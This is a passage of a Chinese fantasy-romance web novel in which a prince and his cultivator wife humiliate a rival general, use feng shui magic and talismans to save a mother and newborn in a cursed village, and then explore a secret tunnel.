墨云寒缓缓勾起唇角。
“你现在所踏的位置,是本王的寝卧,内室睡着本王的王妃,未经传召,你私自闯入,意图行凶,知道是何罪吗?”
秦明朗噎住。
这时江清婉抱着小红走到墨云寒身边,眸光盈盈。
“秦将军,小红是我养的宠物,我与王爷正在训练它,你怎可这般莽撞的进来。即便是小红误伤了你,你也应该也问清楚,而不该直接下死手杀了它。你真的太让我失望了。”
最后这句,简直是将从前秦明朗自以为是的优越感尽数摔回,气得他一张脸涨得通红,却说不出半句反驳的话。
江清婉却又悠然开口。
“不过我相信秦将军应该不会将皇上的命令当做儿戏,如此焦急无礼地冲进来定然是有了重大发现,那就汇报吧,我与王爷原谅你的莽撞。”
站在门外的苏柳儿憋不住想笑。
谁说这位江氏是个懦弱性子,被秦家欺负了五年落了个下堂妇的下场。
这明明睚眦必报,还会当场报。
她低咳一声。
忽地冲着江清婉拱手一礼。
“王妃,我先汇报我的吧。今夜无人刺杀秦大人,秦大人敲了二十三户人家,被三人泼了洗脚水,不过秦将军手脚利索,没被泼中,还被两人骂是流氓,因为他直接踹开了人家的房门威胁人家老实交代,而正好人家两口子在床上……”
“你给我闭嘴!”
秦明朗气的跳脚。
外面却传来哄堂大笑。
显然苏柳儿的话,所有人都听见了。
看他青筋暴突的模样,苏柳儿又道,“秦将军你怎么还恼了,我是在跟众人说你的辛苦,既然你这么不识抬举,那我不说了。反正你不过是被人用顶门的棍子砸了几下,又踩了两脚狗屎。”
秦明朗脸色铁青。
苏柳儿却又作了揖。
“王妃,任务完成,我去吃饭了。”
说完看都没看秦明朗的臭脸转身走了。
秦明朗只觉颜面扫地,死死攥着拳头,恨不得当场杀了所有人。
“秦将军,你到底有什么要汇报的?”
墨云寒清理冷傲的声音简直是压垮他的最后一根稻草。
他愤怒低吼。
“没有,没有什么汇报的。”
说完拂袖而去。
江清婉叹了口气。
“既然秦将军问不出什么,那我们只能另寻其他办法,先吃饭吧。”
她抱着红狐狸走了出去。
“有那几位兄弟辛苦一下,去铁匠铺送些吃食过去,他们为了我们大家也辛苦熬了一夜。”
她长得漂亮,声音温柔,一颦一笑,不失高雅端庄,周身气势,却又带着几分难得的亲和。
当下有人举手附和。
“我去。”
“我们也去。”
江清婉微微颔首。
“莲儿,李斗,你二人帮忙装一装。”
简单的餐食,众人共用。
无高低贵贱之分,甚至在外人眼里,高冷孤傲的墨云寒,竟也毫无架子的坐在了逼仄矮小的木凳上,还会帮江清婉撕开有些硬的干饼泡进了粥里。
他做得随意。
可却大大改观了众人眼中对他与江清婉关系的猜忌。
本来涣散的军心,也在朝阳升起间,缓缓凝聚。
侧边厢房内,秦明朗看着这一幕,恨得牙痒痒。
可肚子却咕噜噜传来一阵叫唤,他抿了抿嘴唇,还是没忍住,黑着脸走了出去。
“莲儿,还不去给我盛饭,一个做丫鬟的,半点眼力见都没有。当初秦家买你入府,这些年真是白养了你。”
本来温馨的气氛被瞬间打破。
莲儿气的冷哼。
“秦将军,奴婢是我们家九王妃买来的丫鬟,与秦家何干?再说了,你离开秦家出征的这五年,可是我家王妃在养家,要说谁才是白养的,奴婢看,是秦家人吧。”
秦明朗气的抬手要打。
却被李斗一把攥住了手腕,猛地掀开。
他一个不稳,直接摔了个屁股蹲。
“好啊,一个奴才,也敢对我动手?”
李斗将半张饼塞进嘴里,一抹嘴,直接撸起了袖子。
“你们秦家不要脸欺负小姐,现在还想欺负莲儿,动手就动手,揍死了谁也不准喊冤。”
秦明朗刚要再骂,沙包大的拳头就砸在了眼眶上。
他惨叫一声,却没能躲开。
左眼瞬间就青了。
苏柳儿看热闹不嫌事大。
“听说秦将军是二品大将军,这武功底子怎的这般差?”
在她旁边坐着的一个士兵解释。
“可能是伤势未愈吧。”
苏柳儿“哦”了一声。
“是我这江湖人浅薄了,闻他气息,倒不像是伤重,更像是内虚之症。我有一江湖郎中,手中有虎鞭,秦将军可需要?”
“噗!”
不少人直接喷了饭。
秦明朗一张脸都憋紫了。
第178章 脱成这样可行
眼见没脸再待下去吃饭,秦明朗冷哼一声站起。
“九王殿下,下官伤重,实在有心无力,就在此期盼殿下能力挽狂澜,剿灭逆贼。回京之后,下官必会上奏朝廷,将发生的所有事全部详细汇报。”
江清婉拿着帕子轻轻擦了擦嘴角。
“为了颜面,你闯入百姓房间打扰旁人夫妻生活被打出来又踩了狗屎的事情,就不要写了。”
噗!
苏柳儿拍着桌子大笑。
秦明朗指着江清婉刚要训斥,却对上了墨云寒冰冷的眸光。
他心里发虚,再次拂袖而去。
心中恨恨想着,战车一事,无论逆贼抓不抓得到,等回京之后,也够墨云寒喝一壶的。
这时街长带着一群人冲进了议事堂。
指着还没有回房间的秦明朗一个个义愤填膺。
“街长就是他。”
“对,他还说自己是将军,我们得罪不起,还要动手打我们。”
“我娘子的身子都被这浑蛋看光了。”
秦明朗心思一动,抬手指向墨云寒的方向。
“都是王爷让我去做的。”
摆明了祸水东引。
可这一次,却有士兵先站起来反驳。
“秦将军,殿下让去你查线索,不是让你去摆官威的,你自己行事作风不严谨,怎可怪在王爷的头上。”
不少人都在附和指责。
秦明朗恼羞成怒地冷哼一声,“你们不过是惧怕九王,才给我泼脏水,我一定会上奏皇上禀明此事。”
他说完气呼呼地走了,脚步却极为匆忙,好像被鬼撵。
士兵全都维护墨云寒,可百姓却不信,还在嘟嘟囔囔的要街长给做主。
“他们凭什么住在咱们的寨子里。”
“就是啊,打扰我们的生活,还杀了我们请来的护卫,咱们去衙门讨个说法。”
……
墨云寒眸色渐冷。
周身难压冷煞之气,正想下令把所有人都拘起来,江清婉却忽然握住了他的手腕,先他一步开口。
声音柔和,毫无威压,听的人心里格外舒服。
“你们这个寨子的风水出了大问题,若我没有算错的话,已有三年,你们未出一子。”
喧闹的众人瞬间鸦雀无声。
显然,她说对了。
娘子被看光了身子的汉子安耐不住急的上前一步。
“姑娘,你会算命啊?那我一直要不上孩子,也是因为这寨子的风水吗?”
江清婉将目光落在他的脸上。
此人子女宫黯淡无光,可却有两个小小的漩涡,忽明忽灭。
“你曾有过两个孩子,只是全都未能降生。”
汉子一听顿时红了眼。
随即噗通一声跪在了地上。
“仙姑,求您指点。”
一旁的街长猛地敲了敲拐杖。
“东子,起来。”
东子还想再说什么,可显然畏惧街长,却又不甘心的小声说了句,“我娘子真的掉过两个孩子。”
江清婉倒也不急,眸光看向街长。
“您儿媳快临盆了吧。”
街长沉声道,“大夫看过了,是男孩,所以我们寨子的风水没有任何问题。”
江清婉摇了摇头。
“你印堂黑气萦绕,家中必有血光之灾,这孩子……”
“你敢诅咒我孙儿!”
街长气的抡起拐杖气的就要冲过去打,却被苏柳儿一把攥住。
这时,外面又跑来一个汉子,嗷嗷哭着冲了进来。
“爹,爹,小云出事了,您快去看看吧。”
街长一听脸色大变。
“昨夜不还好好的吗?”
那汉子指着墨云寒等人,怒目而视,“一定是这群人闯进寨子惊到了小云,要是我儿子有意外,我就跟你们拼了。”
街长也觉有理。
“若真出事,我就带着寨子里所有人去京城告御状。”
他放下狠话就赶紧往外走。
江清婉还是提醒了一句。
“孩子只有一个时辰能活,过了时辰,大罗神仙也救不了。”
寨子里的人都跟着街长走了。
东子却犹豫着落在最后,回头看了眼江清婉欲言又止,可最终还是什么都没说。
苏柳儿见识过江清婉的本事,忍不住问道,“王妃,这宅子的风水真有问题啊?那老头的孙子真的只能活一个时辰?”
其他人也都好奇探头。
江清婉道,“很快就会见分晓。诸位吃过了饭,就派一队人替换城楼上的兄弟吧,他们值了一整夜。”
她说完拽了下墨云寒的袖子。
“你跟我回屋。”
墨云寒低咳一声,耳尖微微泛红,板着脸加了一句。
“都听王妃的。”
苏柳儿翘着脚跟着起哄,引得不少士兵也跟着闹。
侧厢房内,秦明朗气的直跺脚。
他还以为那些村民会闹一闹,没想到三两句就被打发了。
他转身回了书案前,重新拿了一张宣纸。
“欺辱朝臣,领导有误,还用风水妖言惑众诅咒百姓……”
一桩桩一件件,他全部写了下来。
而另一边,墨云寒跟着江清婉回了房间,正要问问她有什么打算。
江清婉却关上了房门,拽着他的袖子往内室走。
“去床上,你把衣服脱一脱。”
墨云寒一张俊脸瞬间红了,脚步却没停,乖顺的任由她拉着摁在了床上。
冷峭的唇抿了抿,憋出四个字。
“天都亮了。”
“不妨碍。”
江清婉头也没抬的回了句。
这次她过来,她准备了不少符纸。
连她炼丹的炉鼎都带来了。
从包袱里将炉鼎拿出来放在床边,见墨云寒还未宽衣,不由皱眉。
“快脱啊。”
墨云寒隐约觉得,可能不是自己想的那样。
他指了指炉鼎。
“你要对我做什么?”
江清婉不爽的插着小腰。
“你还好意思问我?玄灵山上我救了你,你在宫中答应我给我银子,我却一两没见着,如今又为了你跑来清风寨,眼下这风水局不好破,我不得抽回点灵力傍身吗?要不然一会那老头来找人救他孙子,你去救?”
墨云寒微微挑眉。
骨节分明的大手缓缓抬起落在腰间束带上,轻轻一扯,放在床边。
松开的外衫和里衬,领口处露出性感的锁骨。
他黑沉的眸子牢牢锁着江清婉,一眨不眨,随即双手一拉,整个上衣完全打开,疤痕之下,肌肉弧线带着强势而又霸道的男性气息。
“本王脱成这样可行?”
第179章 对你动情并不难
江清婉的小脸有些发烫。
“倒也不必脱得这么光。”
墨云寒被她闪躲的目光逗的闷笑出声。
“你是本王的王妃,自可随意处置本王的身体,本王绝不反抗。”
这话越发说的过火。
江清婉气恼的瞪了他一眼。
那双潋滟动人的眸子,却实在毫无威慑。
看得墨云寒的心尖传来一阵酥麻的跳动。
很痒。
江清婉见他眸色越来越炙热,极不自在的再次别开脸,脱了绣鞋坐在了床上。
“你也上来。”
“好。”
这一声有些哑。
江清婉不敢看他,摆弄着炉鼎放在了两人之间。
这才将双手朝前伸去。
“跟着我学,掌心相对,我警告你,不要有任何杂念,要不然……”
她轻咬了一下唇角。
男人带着薄茧的手已经抵了上来。
她的心跳也不由有些乱,忙敛下心神闭上了双眼。
灵契相连。
江清婉的周身缓缓萦绕出淡淡的浅白光晕,从双手传到了墨云寒的身上。
墨云寒正心猿意马。
忽觉脑海中似有一根弦被拉动,猛地疼了一下。
再次回神,他竟又来到了那片宛若仙境的桃园之中。
只不过这一次,他并没有站在桃林之中,而是浮沉在水池内。
袅袅仙气的水池中,有仙鹤翩然而舞。
波纹荡漾在胸口,前方与他双掌相抵的女子,衣衫尽褪,白皙如玉的肩头,凝脂一般细滑娇嫩。
同样的水纹荡漾在胸口,几乎遮不住其下的风光。
这是墨云寒第一次在这个地方看清楚仙子的模样。
眉如远山青黛,琼鼻翘挺,粉润的唇在水雾之中,如一颗娇艳欲滴的樱桃,引人采撷。
江清婉。
那个仙子,竟然是江清婉。
所以,他前面几次闯入这个地方,都是因为江清婉。
他心绪翻滚,万般倾诉蜂拥而来。
呼吸都变得极重。
江清婉却在这时缓缓睁开了双眸。
长睫宛若蝴蝶轻颤,勾的人魂魄悸动。
那盈盈黑眸中升腾的水汽,带着娇媚的柔弱,让人恨不得顷刻间扑上去,拆分入肚。
“你是不是想变成太监!”
江清婉恼羞的瞪他,自己的小脸却也已经涨得通红。
墨云寒有些抑制不住。
骨节分明的大手微微一动钻进了白嫩小手的指缝,与她十指交握。
声音更是哑的不像话。
“你这个样子,我真的很难忍。”
江清婉这下,眼尾都变得潮红,越发的勾人。
“忍不住也得忍,把你脑子里那些念头都压下去,不准再出现。”
墨云寒怔了怔。
“你能看到我在想什么?”
江清婉不想解释。
当时在玄灵山中为了救他,不得不用了灵契。
才能让他的身体接受她的灵气修为。
可要想通过灵契反哺,就要进入识海。
而识海中,两个人都是不着寸缕的,而且,布下灵契的人,会可以完全精准分毫不差的感受到另一个人的想法。
此刻她就清晰的感受到墨云寒想扑过来把她压在身下,这样那样。
似是觉得有趣,墨云寒故意一般,越发不控制自己。
只看到江清婉的小脸,脖子,锁骨,最后是整个身体都变成了红虾子一般。
江清婉再也忍不住,迅速结束回到现实,抬手一巴掌扇了过去。
“啪”的一声,无比清脆。
墨云寒还在回味,突然被打,神情也只是愣了愣,偏过脸,用舌尖顶了顶腮。
下一刻,欺身上前,强势将人压在了床上吻了上去。
滚烫的呼吸夺走了江清婉的所有的惊呼。
唇舌纠缠间,脑海中的理智冷静全成了浆糊。
任由男人的一只大手顺着腰间袭上胸口。
她迷迷糊糊地拱起身体,生涩回应。
下一刻,男人忽然抽身稍稍离开。
粗重的呼吸喷在她的脸颊上,黑沉的眸子里染了欲,异常骇人。
“江清婉,你莫要勾我,我是个正常男人,真的会忍不住。”
江清婉只觉这话有几分熟悉,脑袋却理不清,胸口还在剧烈起伏着。
走失的理智终于缓缓回笼。
她红着眼尾瞪他。
“是你过分,偏还要赖我,讲不讲理。”
墨云寒又在她唇上啄了一下。
“对你动情,并不难。”
这好像是两个人之间第一次提到“情”这个字。
江清婉的心乱的厉害。
伸手奋力的将他推开,起身坐了起来低头整理衣裙。
墨云寒努力平复着身体上的反应,目光一眨不眨盯着江清婉的后背。
“刚刚那个地方,是哪里?”
江清婉此刻脑袋还有些乱,闻言随意回了句。
“我的识海。”
“识海?”
墨云寒也坐了起来。
“什么是识海?”
江清婉眼见说的有些多,敷衍着摆了摆小手。
“每一个修习者都会开发的东西,你们普通人没有。”
说完端着炉鼎跑去一旁炼化刚刚收集到的那点灵气。
墨云寒怔在原地。
“你每次治腿也是把我带进识海吗?”
江清婉瞥他一眼。
“你想到倒美,如果不是玄灵山上我……”
她懒得解释,气鼓鼓的不再理会。
此刻,墨云寒的心中已是巨震。
普通人没有?
治腿也不在识海中。
那他之前为什么也能看到那个地方?
毕竟是自己的东西,江清婉炼化的速度很快。
干枯的丹田总算是舒服了一些。
她刚吸收完,院子里再次传来骚动。
“仙姑,仙姑救命啊。”
莲儿在外敲门。
“小姐,街长的儿子来了。”
江清婉得意的扬起下巴。
“你看,我不会算错。”
说罢走了出去。
见她出来,街长的儿子立刻喊道,“东子说您是仙姑,有本事,你真的能救活我儿子吗?小云已经昏死过去,大夫没办法,稳婆说……说会一尸两命,如果……如果你真的能救他们,我给你磕头,我给你点长明灯,这辈子都供奉你。”
他这一路不知摔了几脚,身上全是土,胳膊上和脸上也带了伤。
江清婉抬起小手煞有介事地掐算一番。
“时辰有些晚了,我只能尽力而为。”
见她真有办法。
街长的儿子噗通跪下。
“多谢仙姑,多谢仙姑。”
莲儿扶额。
“什么仙姑,这是我们王妃。”
对方呆住。
“王……王妃?”
竟然有这么亲和的王妃?
第180章 红绸
江清婉叫上了墨云寒一起,并未再带其他人。
虽然墨云寒是个男人,街长的儿子此刻也顾忌不了太多,立刻在前面带路。
街长的院子,里里外外围了不少百姓。
三年无子,如今好不容易有新生命出现,他们都是翘首以盼。
而且,今日辰时江清婉在议事堂中说的那些话,早已在寨子里传遍。
他们都想看看,到底是不是真的。
“让开,都让开。”
街长儿子大喊一声。
人群立刻让开了一条路。
江清婉和墨云寒径直走了进去。
村民小声议论。
“端了好几盆血水出来了,真能救活,那不成神仙了?”
“我瞧着悬,她要真能救活,我也得去求个孩子。”
“街长他儿媳妇都脱光了,让我男人跟进去看了身子,这还能活?”
七嘴八舌的讨论,让街长的儿子也拦在了门口。
“仙姑,他……他不能进的。”
江清婉往里看了一眼,最终点了点头。
“他是王爷,虽不是天子,却也是诞于皇家,身上自然沾染了龙气,能镇住宅子内的乱局。不过,男女有别,此刻闯入的确失礼。这样吧,你把村民全都赶出去,至少要十丈之外,才能不混淆王爷的气场。”
街长儿子一听,立刻照做。
转身就去轰人。
这时街长从侧边耳房里出来,手里那这个红绸。
“你这混账,谁让你把他们叫来的?”
街长儿子急道,“小云快死了,仙姑能救。”
街长却不同意。
“我刚刚求了祖宗保佑,只要将这红绸系在小云的腰上,孩子自会顺利降世。”
见他说的笃定,街长的儿子有些犹豫。
江清婉却抓过墨云寒的手在他掌心画了个符,冲着那红绸使了个眼色。
墨云寒心领神会,轻轻一掌挥出,众人都没看到他的动作,只觉有风吹过,等回神立刻有人惊呼。
“你们看红绸上是什么?”
“怎么黑乎乎的,而且你们闻没闻到臭味?”
街长低头一看吓得直接扔了出去。
“这……怎会这样?”
江清婉适时解释。
“你这条红绸上面全是死气,生产时的女子,以及临盆的孩子,都可横跨阴阳,你用这条红绸引孩子出来,你引出来的,是不是活人都有待商榷。”
结账儿子吓坏了。
他盼了好久才得一子,断不可出事。
这时稳婆双手沾着血急急走了出来。
“完了完了,小云没呼吸了。”
街长儿子大急。
“仙姑,你快进去救人啊。”
江清婉指了指街长。
“包括他,所有人都出去,莫要坏了院内气场。”
街长儿子哪还敢不听,连拖带拽地将街长给拉了出去,其他人也不敢担这个责,也都推开。
江清婉看向稳婆。
“去净手,端一盆热水进来,再弄个烧得极旺的炭炉。”
稳婆见街长儿子都听话,自然没有意见。
赶紧跑去后厨。
江清婉这才看向墨云寒,“这院子有破局之相,暗道一定就在这里,去搜。”
墨云寒点点头,又有些不放心。
“你确定能救活吗?若是不能,今日怕不会善了。”
江清婉不悦瞪她。
“你不信我?”
墨云寒失笑。
“信,大不了我送你出寨子。”
江清婉轻哼一声。
“街长的儿子,子女宫很强,这孩子不会出事,快去吧。”
说完她也转身进了内室。
房间内一片血腥味。
床上女子脸色苍白,衣衫不整的昏死着。
高高隆起的腹部,已被鲜血染红。
江清婉立刻着手布阵。
她不会接生,但大师兄说过,女子生产,多半的功劳在女子,而非医者。
医者能做的事情少之又少,而所做的事情几乎也都是让女子集聚力量。
她不会用药物提气,但却可用阵法聚气。
清风寨本就是个风水局。
内里气息流窜,若能汇聚周围可用的灵气,注入生产之人的体内,自当迎刃而解。
阵法起,有四面八方的气流在涌动。
这时稳婆端着热水进来,急忙喊道,“产妇不可吹风啊。”
“无碍,她已经如此,更差也就是个死。”
江清婉的话让稳婆一时间不知道该说什么。
“热水放下,去准备炭炉,快些。”
稳婆见她既不坐在床后检查,也不诊脉喂汤,反而是拿着几张黄符在床的周围转,不由摇头叹气。
看来小云母子是救不活了。
她转身出门去准备炭炉。
江清婉将最后一道符贴在了小云的眉心。
灵气入体,消失不见。
小云的脸色却肉眼可见的红润起来,呼吸也越发平稳。
忽地痛呼一声,睁开了双眼。
“啊!”
她捂着肚子大喊。
“六婆,六婆……”
“她在外面,准备炭炉,你平复一下情绪,感受一下孩子的位置,你可以的。”
江清婉温柔安抚。
小云虽没见过江清婉,可能察觉到善意。
而且此刻也没时间去问,因为肚子再次传来一阵抽疼。
她双手捂着连连做着深呼吸。
不知道是不是她的错觉。
她竟觉得,自己能和孩子达成了某种共识。
能感觉到肚子里的孩子在往外有节奏地拱。
她不是第一次怀孕,虽未生产,也可问过六婆生产时的事情。
知道这是孩子要出来的征兆,立刻随着孩子的节奏拼命使劲。
那孩子还在肚子里打着转。
翻来覆去的,很不安稳。
疼痛袭来,折磨的她大汗淋漓。
江清婉抬手,又贴了一张符纸在她肚子上。
那股疼痛瞬间减弱。
等六婆端着炭炉冲进来的时候,一声洪亮的啼哭声在房间内乍然响起。
惊得她差点将火炉丢出去。
“生……生了?”
江清婉不会收拾,赶紧示意她去处理。
六婆此刻对再对江清婉有一百个的敬重。
“仙姑,您可真是神仙啊,我做了几十年的接生婆,小云这个样子,那是很难活下来的,就算是大人活了,孩子也活不成啊。没想到,您用这么短的时间内,就把孩子接出来了。”
江清婉看向小云。
“是她这个做母亲的有毅力。”
小云冲她虚弱的笑了笑。
“多谢仙姑大恩。”
包裹好孩子的六婆包着襁褓放在了小云面前。
“你看,大胖小子,可这是咱们清风寨三年来第一个孩子。将来一定有福气。”
小云的脸色再次肉眼可见的白了下去。
“六婆,我好冷啊。”
六婆愣住,赶紧放下孩子跑去床边查看。
只见涓涓的鲜血正从小云的体内涌出,浸湿了全部的被褥。
第181章 心疼
“仙姑,仙姑,血崩了,血崩了啊!”
六婆吓得六神无主。
生产完最怕的就是血崩,一旦血崩,神仙难救,只有一死。
江清婉却神色未改。
眸光中多了几分悲悯。
从她进来看到小云的那一刻起,她就已经料到这个结局。
生机全部聚集在腹部,作为母亲的小云,早就生机枯萎。
她聚集灵气注入她的体内,也只能让孩子出生。
但小云……
似是感觉到母亲即将离开,襁褓内的孩子再次嗷嗷大哭起来。
哭的异常的伤心。
江清婉不是心慈之人,她也从不愿去做有违天道的事情。
人各有命,生死在天。
“六婆,去叫她夫君进来一趟吧,我给她吊着一口气,让他们二人能说几句话。”
热水的水气,和炭火的火气萦绕在阵法之外。
被她抬手轻轻引了进来。
水火似阴阳,因能拖住一时。
随着六婆的离开,孩子的哭声越发的悲伤。
小云已经快要闭上的眼睛,再次缓缓睁开。
“好孩子,不哭,娘在呢。”
她艰难抬起手想触摸一下孩子。
下一刻,孩子的小手就抓住了她的手指。
就在此时,江清婉忽然看到,小云已经枯竭的生机,似有复燃的迹象。
其实,这是她第一次为一个生产的妇人布阵。
如此景象,完全超出了她的经验。
或许,还有法子。
听说孩子生下来了,可小云却快死了。
这一喜一悲的消息让街长的儿子哭的泣不成声。
“娘子,娘子……”
江清婉转头看向他。
“你去问问,外面的村民,可有硕阳日出生的?”
街长的儿子愣住。
脑子反应了一会才猛地拍了拍自己的胸脯。
“我就是,正午生的,我爹说我阳气很旺的,我能救我娘子吗?”
江清婉了然。
风水局中,每个人的气运都受到了影响。
她并没有看出此人阳气鼎盛。
怪不得他的娘子会怀孕,刚刚折腾这么久,孩子的生机还依旧还在。
“我试试。”
这三个字,对街长的儿子来说简直是天籁之音。
孩子暂时被六婆抱了出去。
江清婉让街长的儿子站在了水盆和炭炉中间,成三角对峙之局。
以其身上的阳气为引,混淆阴阳平衡。
可以瞒天过海将小云的生机拉回。
只要拉回少许,她就能活。
江清婉看向床上又没了力气的女人,沉声说道,
“你儿子和你夫君都在等你,你为他们试着拼一次。”
街长的儿子也在喊。
“小云,我们的儿子还在等着你,你不能死啊。”
在他的呼喊下,小云终于有了一丝求生的力气。
江清婉立刻抓住。
水气和火气在不断消减。
炭火也在一点点熄灭。
街长儿子的脸色也变得异常苍白。
随着一声娇喝,“收”!
事成。
街长的儿子踉跄着跪在了地上,立刻爬行道床边握住了小云的手。
“娘子……娘子?”
江清婉长长的松了口气,面色也不太好看。
“她在睡,熬过今夜,就无大碍了。”
街长的儿子像个孩子一般抱着小云的手嚎啕大哭。
那么壮实的汉子,哭成这样,让江清婉都有些动容。
她没有打扰,转身出了房门。
墨云寒已经过来,见她小脸苍白,顿时一紧,立刻伸手扶住她。
“你没事吧?”
江清婉摆摆手,裂开嘴冲他笑。
“没事,功德一件,救了两条命。”
墨云寒扶着她的手腕,都能感觉到她身体在颤抖,心疼的厉害,抬手将人打横抱起。
“我们回去。”
早就安耐不住的村民蜂拥而入,齐刷刷跪在了地上。
“求仙姑赐子,求仙姑赐子。”
墨云寒冷喝。
“本王的王妃不是你们的送子娘娘,她说过,清风寨的风水有问题,这才是根本,有人欺上瞒下,害你们无子,与我们无关,让开。”
他气势太强。
骇得众人没有一个敢拦,吓得立刻让开了一条路。
等二人离开,所有人齐齐看向了街长。
“这到底是怎么回事啊?人家仙姑说的全都应验了,这清风寨当初可是你们几个老街长一起找人建造的,现在就剩你一个了,你今天必须跟我们说清楚。”
“对,必须说清楚。”
“肯定是你动了手脚,要不然凭啥你儿子就能崽,我们都全没有,不仅我们没有,这牲畜都不抱窝。”
街长气的猛敲拐杖。
“我跟你说清楚什么?我也是受害者,我孙子今天也差点死了,你们没看见吗?”
周围众人面面相觑。
忽然有人喊道,“那你拿的那个红绸子是怎么回事?人仙姑说能招鬼。”
人群中立刻传来附和声。
“对啊,这么邪性的东西,肯定有问题。”
“他是从耳房出来的,咱们进去看看。”
这章没有结束,请点击下一页继续阅读!街长一听大急。
“不行,你们不能进!”
他拄着拐杖去拦,可哪里懒得下上头的村民,很快就被推搡到一边,耳房的门也被打开。
围在门口的众人齐齐倒吸了一口凉气。
里面竟供奉着一个青面獠牙的鬼头石像。
“这……这是什么鬼东西?”
“对啊,这是什么?就是这东西害的我们没孩子吧?”
“砸了,立刻砸了。”
街长奋力挤了进去。
“你们谁敢砸,就把我也砸死吧!”
“爹!”
街长的儿子不知道什么时候走了过来。
“事到如今,我也很想知道,您整日不准我们进去的这道门,到底藏着神秘秘,让您连自己孙子的命都不顾了。”
“赵挺,你也不懂事了吗?”街长气得大骂。
赵挺苦笑。
“我娘子差点死了,仙姑说今晚若是渡不过,就活不成了,您有考虑过我的感受吗?”
众人皆是义愤填膺。
街长却依旧死咬着不松口。
“我不怕告诉你们,清风寨压着邪祟,这东西要是砸了,大家都得死。”
以前村民不信,可今天看着江清婉把将死的人救活,还顺利接生,心里都这些鬼神又生出了不少敬畏之心。
谁也不敢去赌大家伙的命。
“要不然咱们去问问仙姑怎么解。”
“对,我看仙姑脸色不好,许是救人累了,我家里还存着腊肉,我去拿上送过去,说不定能得到福泽恩赐。”
这种孝敬神明的机会,谁也不肯放过。
人群很快散了。
院子里只剩下赵挺父子。
“爹,您骗不过我的,清风寨根本就没有邪祟,我见过您半夜跟一个拿着一把弯刀的男人见面,他……”
“你给老子闭嘴!”
街长气的脸红脖子粗。
“你记住,要不是我,寨子里所有人都别想活。我不管你心里怎么想的,那群士兵,都不能再待下去。”
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第182章 谋杀亲夫
离开街长家之后,
江清婉就拍了拍墨云寒的肩膀让他放下。
“你知不知道你现在的脸色有多差!”
墨云寒凝着眉有些气。
江清婉看出他的担心,心中一暖,却依旧坚持。
“为了救那孩子,我动了风水局里的平衡,他们很快会察觉,我们没时间了。你找到位置了对吗?”
墨云寒点头。
“找到了,送你回去后我就进去探探。”
“我和你一起。”
江清婉握住他的手腕,知道他会拒绝,却没给机会。
“能布下这个风水局的人,一定有些本事,你一个人或许能闯过机关圆盘,可你会玄术吗?”
墨云寒哑然。
却还是有些不愿。
“那也要回去跟众人说一声,免得他们来寻。”
“不用。”
江清婉唇瓣嘟起吹了声低低的哨因。
几个呼吸的时间,小红就窜了过来。
歪着大脑袋,有些嫌弃,又有些不自在的踱步过来。
这一次却没有缠着江清婉,反而用爪子轻轻的踩了下墨云寒的脚面。
“它又要打架?”
墨云寒问。
江清婉失笑。
“它在接纳你。”
她从怀里摸出个帕子,拿起墨云寒的手指狠狠一咬,洋洋洒洒写了几行字递给小红。
“去交给莲儿。”
小红点点头,张嘴衔住,又瞥了眼墨云寒,转身几个飞跃就不见了影子。
“现在可以走了吧。”
江清婉抬眸看向墨云寒,却见男人将被咬破的手指递过来。
“疼,吹吹。”
江清婉冲他毫不客气的翻了个白眼。
“要不要给你剁掉?”
不知为何,相比于最初见到的那个端庄温雅的小妇人,墨云寒觉得,现在这个时而娇纵,时而灵动的小女子,更让人心动,也更加真实。
他似幽怨的叹了口气,手指却不肯收回去。
“王妃舍得剁就剁吧。”
江清婉无比惊悚的看着他那副好像受了多大委屈的表情,却依旧好看的让人移不开眼的脸,嗔怒的瞪着她。
墨云寒却又将手指往她唇边送了送,大有她不吹,他就不走的架势。
这时村民已经陆陆续续从街长的院子里出来,也有往这边来的人。
江清婉有些着急,不情不愿的凑过去吹了一下。
“可以了吗?”
墨云寒煞有介事的点点头。
“好一些了。”
江清婉想揍死他。
这狗男人,在宫里被抽了三十鞭也没见喊疼。
街长去看孙子,街长的儿子赵挺去守着小云。
以墨云寒的轻功,瞒过所有人进入暗道轻而易举。
只是路过那尊供奉的石像时,江清婉多看了一眼。
总觉得那东西有点熟悉,好像记忆中在哪里看到过。
不过一时间又想不起来。
她只当是之前游历江湖的时候曾遇到过类似的,并未多在意。
暗道内,隔着不远的距离就有一盏油灯,光线有些暗。
江清婉刚要去摸墙壁,一只大手就伸了过来。
“牵着。”
“不用,我自己可以。”
“我手指头疼。”
“……牵着!”
江清婉几乎要磨牙。
看着前面挺拔如松的身影,眼底又忍不住噙住了笑意。
走了没多远,墨云寒忽地停下,回头做了个噤声的动作。
江清婉刚点了下头,就被一把揽进怀里,衣裙一收,下一刻,直接腾空,竟被墨云寒压在了暗道的顶上。
他手脚都有支撑点。
可江清婉不行啊。
身体的重量完全压进墨云寒的怀里,她正要问要做什么?
就听见了不远处传来脚步声。
紧接着是两个男人的抱怨。
“咱们在这里呆了多年,从未出过事,怎么会被皇室的人发现,还派了个王爷来重兵围剿,实在是麻烦。”
“你说先生为什么要让人夜里暗袭城门?本来他们攻打寨子,寨子里全是百姓,弄死的那几个也都是能在户籍中查到的护卫。他们找不到其他线索自然就走了,现在倒好,死了这么多士兵,不摆明了清风寨里藏有猫腻让人查吗?”
“你懂个屁!先生是高人,一手机关术堪称神机,不震慑一番岂不失了威风。皇庭的那些酒囊饭袋,看到那么厉害的机关,早就吓尿了,估计再来个两次,全都得撤兵。再说了,清风寨的人请来的那些护卫,可不能白死。”
……
两个普通村民打扮的男人一边说着话一边从下面经过。
光线正好处在拐角和两盏灯之间,他们并没有注意到上方的墨云寒二人。
等他们的脚步扯掉消失,江清婉立刻拍了拍墨云寒的胸口示意他下去。
墨云寒却凑到她耳边低语。
“还没走远。”
江清婉的听力没有墨云寒的厉害,信以为真,又等了一会。
再次询问。
“现在可以了吗?”
墨云寒的呼吸依旧在她的耳尖处,敏感的半截身体都有些发麻。
“还没有!”
……
“现在呢?”
“王妃的呼吸好重!”
男人作乱的在她耳尖处轻轻咬了一下。
江清婉激的浑身一抖,气的想要起身躲开,奈何这个姿势,根本不可能。
反倒是因为撑起小脸,鼻子碰到了墨云寒的。
黑暗中,呼吸纠缠,她清晰的看到墨云寒眼底的笑。
绝对的不怀好意。
江清婉伸手摸向他的腰,毫不犹豫的狠狠一拧。
墨云寒假意吃痛,抱着她落回地面。
“你谋杀亲夫啊?”
“等你腿好了,就不是了。”
江清婉也不许他再牵着,继续闷头往里走。
墨云寒悠然跟上。
“你这么说的话,那本王可要想想法子。”
“难不成你还要把腿给敲断了?”
江清婉回头斜了他一眼。
墨云寒笑而不语,伸手牵住她的袖口。
“有点黑,我害怕。”
